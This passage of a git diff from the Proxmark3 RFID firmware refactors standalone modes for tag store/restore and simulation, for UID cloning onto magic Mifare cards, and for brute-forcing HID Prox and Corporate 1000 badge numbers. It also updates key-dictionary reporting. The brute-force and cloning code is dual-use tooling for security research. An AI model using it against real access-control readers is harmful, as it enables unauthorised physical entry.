Dbprintf("Stored tag in Slot %d. (UID: %llX)", slot_index, temp_tag_data.uid); + + // Save collection to flash + if (save_tags_to_flash(g_stored_tags)) { + DbpString("Collection saved to flash."); + } else { + DbpString(_RED_("Failed to save collection to flash!")); + } + + current_state = STATE_DONE; // Indicate success + } +} + +/** + * @brief Restore function implementation + */ +static void run_restore_function(void) { + iso14b_card_select_t current_tag_info; // To get UID of tag in field + + if (st25tb_tag_get_basic_info(¤t_tag_info)) { + // Tag found in field + uint64_t tag_uid = bytes_to_num_le(current_tag_info.uid, sizeof(uint64_t)); + int slot = find_tag_by_uid(tag_uid); + + if (slot != -1) { + Dbprintf("Found matching tag in Slot %d (UID: %llX). Restoring...", slot, tag_uid); + + current_state = STATE_BUSY; // Indicate busy during restore attempt + update_leds_mode(g_current_mode); + + bool success = st25tb_tag_restore(&g_stored_tags[slot]); + + if (success) { + DbpString(_GREEN_("Restore successful.")); + current_state = STATE_DONE; + } else { + DbpString(_RED_("Restore failed.")); + current_state = STATE_ERROR; + } + } else { + // Tag found but not in collection, remain busy to scan again + current_state = STATE_BUSY; + } + } else { + // No tag found, remain busy to scan again + current_state = STATE_BUSY; + } +} + +/** + * @brief Display module information + */ +void ModInfo(void) { + DbpString(" HF ST25TB Store/Restore"); + Dbprintf(" Data stored/restored from: %s", HF_ST25TB_MULTI_SR_FILE); + Dbprintf(" Supports up to %d tag slots.", MAX_SAVED_TAGS); +} + +/** + * @brief Main module function + */ +void RunMod(void) { + StandAloneMode(); + Dbprintf(_YELLOW_("HF ST25TB Store/Restore mode started")); + iso14443b_setup(); + LED_D_OFF(); + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); // Use HF bitstream for ISO14443B + + // Initialize collection + for (int i = 0; i < MAX_SAVED_TAGS; i++) { + g_stored_tags[i].data_valid = false; + } + g_valid_tag_count = 0; + + // Mount filesystem and load previous tags if available + rdv40_spiffs_lazy_mount(); + if (load_tags_from_flash(g_stored_tags)) { + DbpString("Loaded previous tag collection from flash."); + // Count valid entries loaded + for (int i = 0; i < MAX_SAVED_TAGS; i++) { + if (g_stored_tags[i].data_valid) + g_valid_tag_count++; + } + g_current_mode = MODE_RESTORE; // Default to restore if data exists + } else { + DbpString("No previous tag data found in flash or error loading."); + g_current_mode = MODE_LEARN; // Default to store if no data + } + + bool mode_display_update = true; // Force initial display + current_state = STATE_BUSY; // Reset state at the beginning + + // Main application loop + for (;;) { + WDT_HIT(); + + // Exit condition: USB command received + if (data_available()) { + DbpString("USB data detected, exiting standalone mode."); + break; + } + + // --- Button Handling --- + int button_status = BUTTON_HELD(1000); // Check for 1 second hold + + if (button_status == BUTTON_HOLD) { + DbpString("Button held, exiting standalone mode."); + break; + } else if (button_status == BUTTON_SINGLE_CLICK) { + // Toggle between modes + g_current_mode = (g_current_mode == MODE_LEARN) ? MODE_RESTORE : MODE_LEARN; + current_state = STATE_BUSY; // Reset state when changing mode + mode_display_update = true; + SpinDelay(100); // Debounce/allow user to see mode change + } + + // --- Update Display (only if mode changed) --- + if (mode_display_update) { + if (g_current_mode == MODE_LEARN) { + Dbprintf("Mode: " _YELLOW_("Learn") ". (Cnt: %d/%d)", + g_valid_tag_count, MAX_SAVED_TAGS); + } else { + Dbprintf("Mode: " _BLUE_("Restore") ". (Cnt: %d/%d)", + g_valid_tag_count, MAX_SAVED_TAGS); + } + mode_display_update = false; + } + update_leds_mode(g_current_mode); + + // Process according to current state + if (current_state == STATE_BUSY) { + // Run appropriate function based on mode + if (g_current_mode == MODE_LEARN) { + run_learn_function(); + } else { // MODE_RESTORE + run_restore_function(); + } + } else if (current_state == STATE_DONE) { + indicate_success(); + } else { + indicate_failure(); + } + + // Loop delay + SpinDelay(100); + } + + // Clean up before exiting + LED_D_ON(); // Indicate potentially saving state on exit + rdv40_spiffs_lazy_unmount(); + LED_D_OFF(); + + switch_off(); // Turn off RF field + LEDsoff(); + DbpString("Exiting " _YELLOW_("HF ST25TB Store/Restore") " mode."); +} diff --git a/armsrc/Standalone/hf_tcprst.c b/armsrc/Standalone/hf_tcprst.c index 9b90c1348..d8ced29d4 100644 --- a/armsrc/Standalone/hf_tcprst.c +++ b/armsrc/Standalone/hf_tcprst.c @@ -110,15 +110,14 @@ void RunMod(void) { #define DYNAMIC_RESPONSE_BUFFER_SIZE 64 #define DYNAMIC_MODULATION_BUFFER_SIZE 512 - uint8_t flags = FLAG_7B_UID_IN_DATA; // ST25TA have 7B UID + uint8_t flags = 0; + FLAG_SET_UID_IN_DATA(flags, 7); // ST25TA have 7B UID uint8_t data[PM3_CMD_DATA_SIZE] = {0x00}; // in case there is a read command received we shouldn't break // to initialize the emulation uint8_t tagType = 10; // 10 = ST25TA IKEA Rothult tag_response_info_t *responses; uint32_t cuid = 0; - uint32_t counters[3] = { 0x00, 0x00, 0x00 }; - uint8_t tearings[3] = { 0xbd, 0xbd, 0xbd }; uint8_t pages = 0; // command buffers @@ -192,7 +191,7 @@ void RunMod(void) { memcpy(data, stuid, sizeof(stuid)); - if (SimulateIso14443aInit(tagType, flags, data, &responses, &cuid, counters, tearings, &pages) == false) { + if (SimulateIso14443aInit(tagType, flags, data, NULL, 0, &responses, &cuid, &pages, NULL) == false) { BigBuf_free_keep_EM(); reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0); DbpString(_YELLOW_("!!") "Error initializing the simulation process!"); @@ -246,7 +245,7 @@ void RunMod(void) { } else if (receivedCmd[1] == 0x70 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_2 && len == 9) { // Received a SELECT (cascade 2) p_response = &responses[RESP_INDEX_SAKC2]; } else if (receivedCmd[0] == ISO14443A_CMD_RATS && len == 4) { // Received a RATS request - p_response = &responses[RESP_INDEX_RATS]; + p_response = &responses[RESP_INDEX_ATS]; } else if (receivedCmd[0] == ISO14443A_CMD_PPS) { p_response = &responses[RESP_INDEX_PPS]; } else { @@ -370,7 +369,7 @@ void RunMod(void) { memcpy(data, stuid, sizeof(stuid)); - if (SimulateIso14443aInit(tagType, flags, data, &responses, &cuid, counters, tearings, &pages) == false) { + if (SimulateIso14443aInit(tagType, flags, data, NULL, 0, &responses, &cuid, &pages, NULL) == false) { BigBuf_free_keep_EM(); reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0); DbpString(_YELLOW_("!!") "Error initializing the simulation process!"); @@ -424,7 +423,7 @@ void RunMod(void) { } else if (receivedCmd[1] == 0x70 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_2 && len == 9) { // Received a SELECT (cascade 2) p_response = &responses[RESP_INDEX_SAKC2]; } else if (receivedCmd[0] == ISO14443A_CMD_RATS && len == 4) { // Received a RATS request - p_response = &responses[RESP_INDEX_RATS]; + p_response = &responses[RESP_INDEX_ATS]; } else if (receivedCmd[0] == ISO14443A_CMD_PPS) { p_response = &responses[RESP_INDEX_PPS]; } else { diff --git a/armsrc/Standalone/hf_unisniff.c b/armsrc/Standalone/hf_unisniff.c index be0414a58..fcf1bb48d 100644 --- a/armsrc/Standalone/hf_unisniff.c +++ b/armsrc/Standalone/hf_unisniff.c @@ -201,7 +201,7 @@ void RunMod(void) { // available after filling the trace buffer. char *filename = (char *)BigBuf_calloc(64); if (filename == NULL) { - Dbprintf("failed to allocate memory"); + Dbprintf("Failed to allocate memory"); return; } // Read the config file. Size is limited to defined value so as not to consume diff --git a/armsrc/Standalone/hf_young.c b/armsrc/Standalone/hf_young.c index 71376de8c..83ad1999a 100644 --- a/armsrc/Standalone/hf_young.c +++ b/armsrc/Standalone/hf_young.c @@ -55,7 +55,7 @@ void RunMod(void) { card_clone_t uids[OPTS]; iso14a_card_select_t card[OPTS]; - uint8_t params = (MAGIC_SINGLE | MAGIC_DATAIN); + uint8_t params = (MAGIC_SINGLE | MAGIC_WUPC | MAGIC_DATAIN); LED(selected + 1, 0); @@ -96,7 +96,7 @@ void RunMod(void) { } } - if (!iso14443a_select_card(NULL, &card[selected], NULL, true, 0, true)) { + if (iso14443a_select_card(NULL, &card[selected], NULL, true, 0, true) == 0) { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LED_D_OFF(); SpinDelay(500); @@ -177,14 +177,14 @@ void RunMod(void) { MifareCGetBlock(c->arg[0], c->arg[1], c->d.asBytes); break; - mfCSetUID provides example logic for UID set workflow: + mf_chinese_set_uid provides example logic for UID set workflow: -Read block0 from card in field with MifareCGetBlock() -Configure new values without replacing reserved bytes memcpy(block0, uid, 4); // Copy UID bytes from byte array // Mifare UID BCC block0[4] = block0[0]^block0[1]^block0[2]^block0[3]; // BCC on byte 5 Bytes 5-7 are reserved SAK and ATQA for mifare classic - -Use mfCSetBlock(0, block0, oldUID, wantWipe, MAGIC_SINGLE) to write it + -Use mf_chinese_set_block(0, block0, oldUID, wantWipe, MAGIC_SINGLE | MAGIC_WUPC) to write it */ uint8_t oldBlock0[16] = {0}, newBlock0[16] = {0}; // arg0 = Flags, arg1=blockNo @@ -236,7 +236,8 @@ void RunMod(void) { int button_pressed = BUTTON_HELD(1000); if (button_pressed == BUTTON_NO_CLICK) { // No button action, proceed with sim - uint16_t flags = FLAG_4B_UID_IN_DATA; + uint16_t flags = 0; + FLAG_SET_UID_IN_DATA(flags, 4); uint8_t data[PM3_CMD_DATA_SIZE] = {0}; // in case there is a read command received we shouldn't break memcpy(data, uids[selected].uid, uids[selected].uidlen); @@ -244,7 +245,7 @@ void RunMod(void) { uint64_t tmpuid = bytes_to_num(uids[selected].uid, uids[selected].uidlen); if (uids[selected].uidlen == 7) { - flags = FLAG_7B_UID_IN_DATA; + FLAG_SET_UID_IN_DATA(flags, 7); Dbprintf("Simulating ISO14443a tag with uid: %014" PRIx64 " [Bank: %d]", tmpuid, selected); } else { Dbprintf("Simulating ISO14443a tag with uid: %08" PRIx64 " [Bank: %d]", tmpuid, selected); @@ -252,25 +253,25 @@ void RunMod(void) { if (uids[selected].sak == 0x08 && uids[selected].atqa[0] == 0x04 && uids[selected].atqa[1] == 0) { DbpString("Mifare Classic 1k"); - SimulateIso14443aTag(1, flags, data, 0); + SimulateIso14443aTag(1, flags, data, 0, NULL, 0, false, false); } else if (uids[selected].sak == 0x18 && uids[selected].atqa[0] == 0x02 && uids[selected].atqa[1] == 0) { DbpString("Mifare Classic 4k (4b uid)"); - SimulateIso14443aTag(8, flags, data, 0); + SimulateIso14443aTag(8, flags, data, 0, NULL, 0, false, false); } else if (uids[selected].sak == 0x08 && uids[selected].atqa[0] == 0x44 && uids[selected].atqa[1] == 0) { DbpString("Mifare Classic 4k (7b uid)"); - SimulateIso14443aTag(8, flags, data, 0); + SimulateIso14443aTag(8, flags, data, 0, NULL, 0, false, false); } else if (uids[selected].sak == 0x00 && uids[selected].atqa[0] == 0x44 && uids[selected].atqa[1] == 0) { DbpString("Mifare Ultralight"); - SimulateIso14443aTag(2, flags, data, 0); + SimulateIso14443aTag(2, flags, data, 0, NULL, 0, false, false); } else if (uids[selected].sak == 0x20 && uids[selected].atqa[0] == 0x04 && uids[selected].atqa[1] == 0x03) { DbpString("Mifare DESFire"); - SimulateIso14443aTag(3, flags, data, 0); + SimulateIso14443aTag(3, flags, data, 0, NULL, 0, false, false); } else if (uids[selected].sak == 0x20 && uids[selected].atqa[0] == 0x44 && uids[selected].atqa[1] == 0x03) { DbpString("Mifare DESFire Ev1/Plus/JCOP"); - SimulateIso14443aTag(3, flags, data, 0); + SimulateIso14443aTag(3, flags, data, 0, NULL, 0, false, false); } else { Dbprintf("Unrecognized tag type -- defaulting to Mifare Classic emulation"); - SimulateIso14443aTag(1, flags, data, 0); + SimulateIso14443aTag(1, flags, data, 0, NULL, 0, false, false); } } else if (button_pressed == BUTTON_SINGLE_CLICK) { diff --git a/armsrc/Standalone/lf_hidbrute.c b/armsrc/Standalone/lf_hidbrute.c index 87878cfa3..da78d0975 100644 --- a/armsrc/Standalone/lf_hidbrute.c +++ b/armsrc/Standalone/lf_hidbrute.c @@ -30,7 +30,6 @@ // main code for LF aka HID corporate brutefore by Federico Dotta & Maurizio Agazzini //----------------------------------------------------------------------------------- #include "standalone.h" // standalone definitions -#include "lf_hidbrute.h" #include "proxmark3_arm.h" #include "appmain.h" @@ -42,6 +41,8 @@ #define OPTS 3 +static void hid_corporate_1000_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc); + void ModInfo(void) { DbpString(" LF HID corporate 1000 bruteforce - aka Corporatebrute (Federico dotta & Maurizio Agazzini)"); } @@ -250,14 +251,14 @@ out: } // Function that calculate next value for the brutforce of HID corporate 1000 -void hid_corporate_1000_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc) { +static void hid_corporate_1000_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc) { uint32_t new_high = 0; uint32_t new_low = 0; // Calculate new high and low base value from card number and facility code, without parity new_low = (fc << 21) | (cardnum << 1); - new_high = 0x28 | ((fc >> 11) & 1); // 0x28 is 101000 + new_high = (fc >> 11) & 1; int n_ones; uint32_t i; @@ -319,6 +320,7 @@ void hid_corporate_1000_calculate_checksum_and_set(uint32_t *high, uint32_t *low new_high = new_high | 0x4; // Setting new calculated values + add_HID_preamble(0, &new_high, &new_low, 35); *low = new_low; *high = new_high; } diff --git a/armsrc/Standalone/lf_hidbrute.h b/armsrc/Standalone/lf_hidbrute.h deleted file mode 100644 index b82c1bf49..000000000 --- a/armsrc/Standalone/lf_hidbrute.h +++ /dev/null @@ -1,40 +0,0 @@ -//----------------------------------------------------------------------------- -// Copyright (C) Federico Dotta and Maurizio Agazzini, 2015 -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// PROXMARK3 - HID CORPORATE 1000 BRUTEFORCER (STAND-ALONE MODE) -// -// The new stand-alone mode allows to execute a bruteforce on HID Corporate 1000 readers, by -// reading a specific badge and bruteforcing the Card Number (incrementing and decrementing it), -// mainteining the same Facility Code of the original badge. -// -// Based on an idea of Brad Antoniewicz of McAfee® Foundstone® Professional Services (ProxBrute), -// the stand-alone mode has been rewritten in order to overcome some limitations of ProxBrute firmware, -// that does not consider parity bits. -// -// https://github.com/federicodotta/proxmark3 -// -//----------------------------------------------------------------------------------- -// main code for LF aka HID corporate brutefore by Federico Dotta & Maurizio Agazzini -//----------------------------------------------------------------------------------- - -#ifndef __LF_HIDBRUTE_H -#define __LF_HIDBRUTE_H - -#include - -void hid_corporate_1000_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc); - -#endif /* __LF_HIDBRUTE_H */ diff --git a/armsrc/Standalone/lf_hidfcbrute.c b/armsrc/Standalone/lf_hidfcbrute.c index 75c97e0bf..284b098b7 100644 --- a/armsrc/Standalone/lf_hidfcbrute.c +++ b/armsrc/Standalone/lf_hidfcbrute.c @@ -37,8 +37,6 @@ */ #include "standalone.h" -#include -#include "lf_hidfcbrute.h" #include "proxmark3_arm.h" #include "appmain.h" @@ -59,6 +57,8 @@ #define LF_HIDCOLLECT_LOGFILE "lf_hid_fcbrute.log" +static void hid_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc); + static void append(uint8_t *entry, size_t entry_len) { LED_B_ON(); DbpString("Writing... "); @@ -166,7 +166,7 @@ void RunMod(void) { LEDsoff(); } -void hid_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc) { +static void hid_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc) { uint32_t newhigh = 0; uint32_t newlow = 0; @@ -176,8 +176,7 @@ void hid_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t card newlow |= oddparity32((newlow >> 1) & 0xFFF); newlow |= (evenparity32((newlow >> 13) & 0xFFF)) << 25; - newhigh |= 0x20; // Bit 37; standard header - newlow |= 1U << 26; // leading 1: start bit + add_HID_preamble(NULL, &newhigh, &newlow, 26); *low = newlow; *high = newhigh; diff --git a/armsrc/Standalone/lf_icehid.c b/armsrc/Standalone/lf_icehid.c index 05cf039c5..c44069a12 100644 --- a/armsrc/Standalone/lf_icehid.c +++ b/armsrc/Standalone/lf_icehid.c @@ -199,7 +199,7 @@ static uint32_t IceIOdemod(void) { size_t size = MIN(12000, BigBuf_max_traceLen()); -// uint8_t *dest = BigBuf_malloc(size); +// uint8_t *dest = BigBuf_calloc(size); uint8_t *dest = BigBuf_get_addr(); //fskdemod and get start index @@ -243,7 +243,7 @@ static uint32_t IceHIDDemod(void) { // large enough to catch 2 sequences of largest format // size_t size = 50 * 128 * 2; // 12800 bytes size_t size = MIN(12800, BigBuf_max_traceLen()); - //uint8_t *dest = BigBuf_malloc(size); + //uint8_t *dest = BigBuf_calloc(size); uint8_t *dest = BigBuf_get_addr(); // FSK demodulator diff --git a/armsrc/Standalone/lf_prox2brute.c b/armsrc/Standalone/lf_prox2brute.c index 851dd597a..86c06a91a 100644 --- a/armsrc/Standalone/lf_prox2brute.c +++ b/armsrc/Standalone/lf_prox2brute.c @@ -16,8 +16,8 @@ //----------------------------------------------------------------------------- // LF HID ProxII Brutforce v2 by lnv42 - based on Proxbrute by Brad antoniewicz // -// Following code is a trivial brute forcer for when you know the facility -// code and want to find valid(s) card number(s). It will try all card +// Following code is a trivial brute forcer (H10301 26-bit) when you know the +// facility code and want to find valid(s) card number(s). It will try all card // fnumbers rom CARDNUM_START to CARDNUM_END one by one (max. ~65k tries). // This brute force will be a lot faster than Proxbrute that will try all // possibles values for LF low, even those with bad checksum (~4g tries). @@ -46,8 +46,7 @@ void RunMod(void) { StandAloneMode(); Dbprintf(">> LF HID proxII bruteforce v2 a.k.a Prox2Brute Started <<"); FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - - const uint32_t high = 0x20; // LF high value is always 0x20 here + uint32_t high = 0; uint32_t fac = FACILITY_CODE, cardnum = 0; @@ -82,6 +81,7 @@ void RunMod(void) { uint32_t low = (cardnum << 1) | (fac << 17); low |= oddparity32((low >> 1) & 0xFFF); low |= evenparity32((low >> 13) & 0xFFF) << 25; + add_HID_preamble(NULL, &high, &low, 26); Dbprintf("[=] trying Facility = %08x, Card = %08x, raw = %08x%08x", fac, cardnum, high, low); diff --git a/armsrc/Standalone/lf_tharexde.c b/armsrc/Standalone/lf_tharexde.c index b46ea69d8..735270328 100644 --- a/armsrc/Standalone/lf_tharexde.c +++ b/armsrc/Standalone/lf_tharexde.c @@ -103,9 +103,9 @@ static bool get_input_data_from_file(uint32_t *tag, char *inputfile) { if (exists_in_spiffs(inputfile)) { uint32_t size = size_in_spiffs(inputfile); - uint8_t *mem = BigBuf_malloc(size); + uint8_t *mem = BigBuf_calloc(size); - Dbprintf(_YELLOW_("found input file %s"), inputfile); + Dbprintf("found input file `" _YELLOW_("%s") "`", inputfile); rdv40_spiffs_read_as_filetype(inputfile, mem, size, RDV40_SPIFFS_SAFETY_SAFE); diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 64c39aff6..db16394ab 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -41,6 +41,7 @@ #include "hitag2.h" #include "hitag2_crack.h" #include "hitagS.h" +#include "hitagu.h" #include "em4x50.h" #include "em4x70.h" #include "iclass.h" @@ -54,6 +55,7 @@ #include "mifarecmd.h" #include "mifaredesfire.h" #include "mifaresim.h" +#include "emvsim.h" #include "pcf7931.h" #include "Standalone/standalone.h" #include "util.h" @@ -97,12 +99,13 @@ int tearoff_hook(void) { if (g_tearoff_enabled) { if (g_tearoff_delay_us == 0) { Dbprintf(_RED_("No tear-off delay configured!")); + g_tearoff_enabled = false; return PM3_SUCCESS; // SUCCESS = the hook didn't do anything } SpinDelayUsPrecision(g_tearoff_delay_us); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); g_tearoff_enabled = false; - Dbprintf(_YELLOW_("Tear-off triggered!")); + if (g_dbglevel >= DBG_ERROR) Dbprintf(_YELLOW_("Tear-off triggered!")); return PM3_ETEAROFF; } else { return PM3_SUCCESS; // SUCCESS = the hook didn't do anything @@ -252,7 +255,7 @@ static uint32_t MeasureAntennaTuningLfData(void) { void print_stack_usage(void) { for (uint32_t *p = _stack_start; ; ++p) { if (*p != 0xdeadbeef) { - Dbprintf(" Max stack usage......... %d / %d bytes", (uint32_t)_stack_end - (uint32_t)p, (uint32_t)_stack_end - (uint32_t)_stack_start); + Dbprintf(" Max stack usage..... %d / %d bytes", (uint32_t)_stack_end - (uint32_t)p, (uint32_t)_stack_end - (uint32_t)_stack_start); break; } } @@ -287,20 +290,19 @@ static void SendVersion(void) { if ((uint32_t)bootrom_version < (uint32_t)_flash_start || (uint32_t)bootrom_version >= (uint32_t)_flash_end) { strcat(VersionString, "bootrom version information appears invalid\n"); } else { - FormatVersionInformation(temp, sizeof(temp), " bootrom: ", bootrom_version); + FormatVersionInformation(temp, sizeof(temp), " Bootrom.... ", bootrom_version); strncat(VersionString, temp, sizeof(VersionString) - strlen(VersionString) - 1); strncat(VersionString, "\n", sizeof(VersionString) - strlen(VersionString) - 1); } - - FormatVersionInformation(temp, sizeof(temp), " os: ", &g_version_information); + FormatVersionInformation(temp, sizeof(temp), " OS......... ", &g_version_information); strncat(VersionString, temp, sizeof(VersionString) - strlen(VersionString) - 1); strncat(VersionString, "\n", sizeof(VersionString) - strlen(VersionString) - 1); #if defined(__clang__) - strncat(VersionString, " compiled with Clang/LLVM "__VERSION__"\n", sizeof(VersionString) - strlen(VersionString) - 1); + strncat(VersionString, " Compiler... Clang/LLVM "__VERSION__"\n", sizeof(VersionString) - strlen(VersionString) - 1); #elif defined(__GNUC__) || defined(__GNUG__) - strncat(VersionString, " compiled with GCC "__VERSION__"\n", sizeof(VersionString) - strlen(VersionString) - 1); + strncat(VersionString, " Compiler... GCC "__VERSION__"\n", sizeof(VersionString) - strlen(VersionString) - 1); #endif strncat(VersionString, "\n [ "_YELLOW_("FPGA")" ] \n ", sizeof(VersionString) - strlen(VersionString) - 1); @@ -364,7 +366,7 @@ static void print_debug_level(void) { sprintf(dbglvlstr, "extended"); break; } - Dbprintf(" Debug log level......... %d ( " _YELLOW_("%s")" )", g_dbglevel, dbglvlstr); + Dbprintf(" Debug log level..... %d ( " _YELLOW_("%s")" )", g_dbglevel, dbglvlstr); } // measure the Connection Speed by sending SpeedTestBufferSize bytes to client and measuring the elapsed time. @@ -420,11 +422,11 @@ static void SendStatus(uint32_t wait) { print_debug_level(); tosend_t *ts = get_tosend(); - Dbprintf(" ToSendMax............... %d", ts->max); - Dbprintf(" ToSend BUFFERSIZE....... %d", TOSEND_BUFFER_SIZE); + Dbprintf(" ToSendMax........... %d", ts->max); + Dbprintf(" ToSend BUFFERSIZE... %d", TOSEND_BUFFER_SIZE); while ((AT91C_BASE_PMC->PMC_MCFR & AT91C_CKGR_MAINRDY) == 0); // Wait for MAINF value to become available... uint16_t mainf = AT91C_BASE_PMC->PMC_MCFR & AT91C_CKGR_MAINF; // Get # main clocks within 16 slow clocks - Dbprintf(" Slow clock.............. %d Hz", (16 * MAINCK) / mainf); + Dbprintf(" Slow clock.......... %d Hz", (16 * MAINCK) / mainf); uint32_t delta_time = 0; uint32_t start_time = GetTickCount(); #define SLCK_CHECK_MS 50 @@ -440,7 +442,70 @@ static void SendStatus(uint32_t wait) { ModInfo(); #ifdef WITH_FLASH - Flashmem_print_info(); + DbpString(_CYAN_("Flash memory dictionary loaded")); + uint32_t num = 0; + + if (exists_in_spiffs(MF_KEYS_FILE)) { + num = size_in_spiffs(MF_KEYS_FILE) / MF_KEY_LENGTH; + } else { + num = 0; + } + + if (num > 0) { + Dbprintf(" Mifare... "_YELLOW_("%u")" keys - "_GREEN_("%s"), num, MF_KEYS_FILE); + } else { + Dbprintf(" Mifare... "_RED_("%u")" keys - "_RED_("%s"), num, MF_KEYS_FILE); + } + + if (exists_in_spiffs(T55XX_KEYS_FILE)) { + num = size_in_spiffs(T55XX_KEYS_FILE) / T55XX_KEY_LENGTH; + } else { + num = 0; + } + + if (num > 0) { + Dbprintf(" T55xx.... "_YELLOW_("%u")" keys - "_GREEN_("%s"), num, T55XX_KEYS_FILE); + } else { + Dbprintf(" T55xx.... "_RED_("%u")" keys - "_RED_("%s"), num, T55XX_KEYS_FILE); + } + + if (exists_in_spiffs(ICLASS_KEYS_FILE)) { + num = size_in_spiffs(ICLASS_KEYS_FILE) / ICLASS_KEY_LENGTH; + } else { + num = 0; + } + + if (num > 0) { + Dbprintf(" iClass... "_YELLOW_("%u")" keys - "_GREEN_("%s"), num, ICLASS_KEYS_FILE); + } else { + Dbprintf(" iClass... "_RED_("%u")" keys - "_RED_("%s"), num, ICLASS_KEYS_FILE); + } + + if (exists_in_spiffs(MFULC_KEYS_FILE)) { + num = size_in_spiffs(MFULC_KEYS_FILE) / MFULC_KEY_LENGTH; + } else { + num = 0; + } + + if (num > 0) { + Dbprintf(" UL-C..... "_YELLOW_("%u")" keys - "_GREEN_("%s"), num, MFULC_KEYS_FILE); + } else { + Dbprintf(" UL-C..... "_RED_("%u")" keys - "_RED_("%s"), num, MFULC_KEYS_FILE); + } + + if (exists_in_spiffs(MFULAES_KEYS_FILE)) { + num = size_in_spiffs(MFULAES_KEYS_FILE) / MFULAES_KEY_LENGTH; + } else { + num = 0; + } + + if (num > 0) { + Dbprintf(" UL-AES... "_YELLOW_("%u")" keys - "_GREEN_("%s"), num, MFULAES_KEYS_FILE); + } else { + Dbprintf(" UL-AES... "_RED_("%u")" keys - "_RED_("%s"), num, MFULAES_KEYS_FILE); + } + + #endif DbpString(""); reply_ng(CMD_STATUS, PM3_SUCCESS, NULL, 0); @@ -1153,7 +1218,7 @@ static void PacketReceived(PacketCommandNG *packet) { lf_hitag_data_t *payload = (lf_hitag_data_t *) packet->data.asBytes; switch (payload->cmd) { - case RHT2F_UID_ONLY: { + case HT2F_UID_ONLY: { ht2_read_uid(NULL, true, true, false); break; } @@ -1165,21 +1230,25 @@ static void PacketReceived(PacketCommandNG *packet) { break; } case CMD_LF_HITAGS_SIMULATE: { // Simulate Hitag s tag, args = memory content - SimulateHitagSTag((bool)packet->oldarg[0], packet->data.asBytes, true); + hts_simulate((bool)packet->oldarg[0], packet->oldarg[1], packet->data.asBytes, true); break; } case CMD_LF_HITAGS_TEST_TRACES: { // Tests every challenge within the given file - Hitag_check_challenges(packet->data.asBytes, packet->length, true); + hts_check_challenges(packet->data.asBytes, packet->length, true); break; } case CMD_LF_HITAGS_READ: { // Reader for only Hitag S tags, args = key or challenge lf_hitag_data_t *payload = (lf_hitag_data_t *) packet->data.asBytes; - ReadHitagS(payload, true); + hts_read(payload, true); break; } case CMD_LF_HITAGS_WRITE: { lf_hitag_data_t *payload = (lf_hitag_data_t *) packet->data.asBytes; - WritePageHitagS(payload, true); + hts_write_page(payload, true); + break; + } + case CMD_LF_HITAGS_UID: { + hts_read_uid(NULL, true, true); break; } case CMD_LF_HITAG2_WRITE: { @@ -1193,6 +1262,25 @@ static void PacketReceived(PacketCommandNG *packet) { memcpy(mem, payload->data, payload->len); break; } + + case CMD_LF_HITAGU_READ: { + lf_hitag_data_t *payload = (lf_hitag_data_t *)packet->data.asBytes; + htu_read(payload, true); + break; + } + case CMD_LF_HITAGU_WRITE: { + lf_hitag_data_t *payload = (lf_hitag_data_t *)packet->data.asBytes; + htu_write_page(payload, true); + break; + } + case CMD_LF_HITAGU_SIMULATE: { + htu_simulate((bool)packet->oldarg[0], packet->oldarg[1], packet->data.asBytes, true); + break; + } + case CMD_LF_HITAGU_UID: { + htu_read_uid(NULL, true, true); + break; + } #endif #ifdef WITH_EM4x50 @@ -1331,7 +1419,11 @@ static void PacketReceived(PacketCommandNG *packet) { // involved in dealing with emulator memory. But if it is called later, it might // destroy the Emulator Memory. //----------------------------------------------------------------------------- - EmlClearIso15693(); + // Resetting the bitstream also frees the BigBuf memory, so we do this here to prevent + // an inconvenient reset in the future by Iso15693InitTag + FpgaDownloadAndGo(FPGA_BITSTREAM_HF_15); + BigBuf_Clear_EM(); + reply_ng(CMD_HF_ISO15693_EML_CLEAR, PM3_SUCCESS, NULL, 0); break; } case CMD_HF_ISO15693_EML_SETMEM: { @@ -1363,7 +1455,7 @@ static void PacketReceived(PacketCommandNG *packet) { return; } - uint8_t *buf = BigBuf_malloc(payload->length); + uint8_t *buf = BigBuf_calloc(payload->length); emlGet(buf, payload->offset, payload->length); LED_B_ON(); reply_ng(CMD_HF_ISO15693_EML_GETMEM, PM3_SUCCESS, buf, payload->length); @@ -1424,6 +1516,17 @@ static void PacketReceived(PacketCommandNG *packet) { WritePasswordSlixIso15693(payload->old_pwd, payload->new_pwd, payload->pwd_id); break; } + case CMD_HF_ISO15693_SLIX_PROTECT_PAGE: { + struct p { + uint8_t read_pwd[4]; + uint8_t write_pwd[4]; + uint8_t divide_ptr; + uint8_t prot_status; + } PACKED; + struct p *payload = (struct p *) packet->data.asBytes; + ProtectPageSlixIso15693(payload->read_pwd, payload->write_pwd, payload->divide_ptr, payload->prot_status); + break; + } case CMD_HF_ISO15693_SLIX_DISABLE_PRIVACY: { struct p { uint8_t pwd[4]; @@ -1591,13 +1694,13 @@ static void PacketReceived(PacketCommandNG *packet) { break; } case CMD_HF_ISO14443A_GET_CONFIG: { - hf14a_config 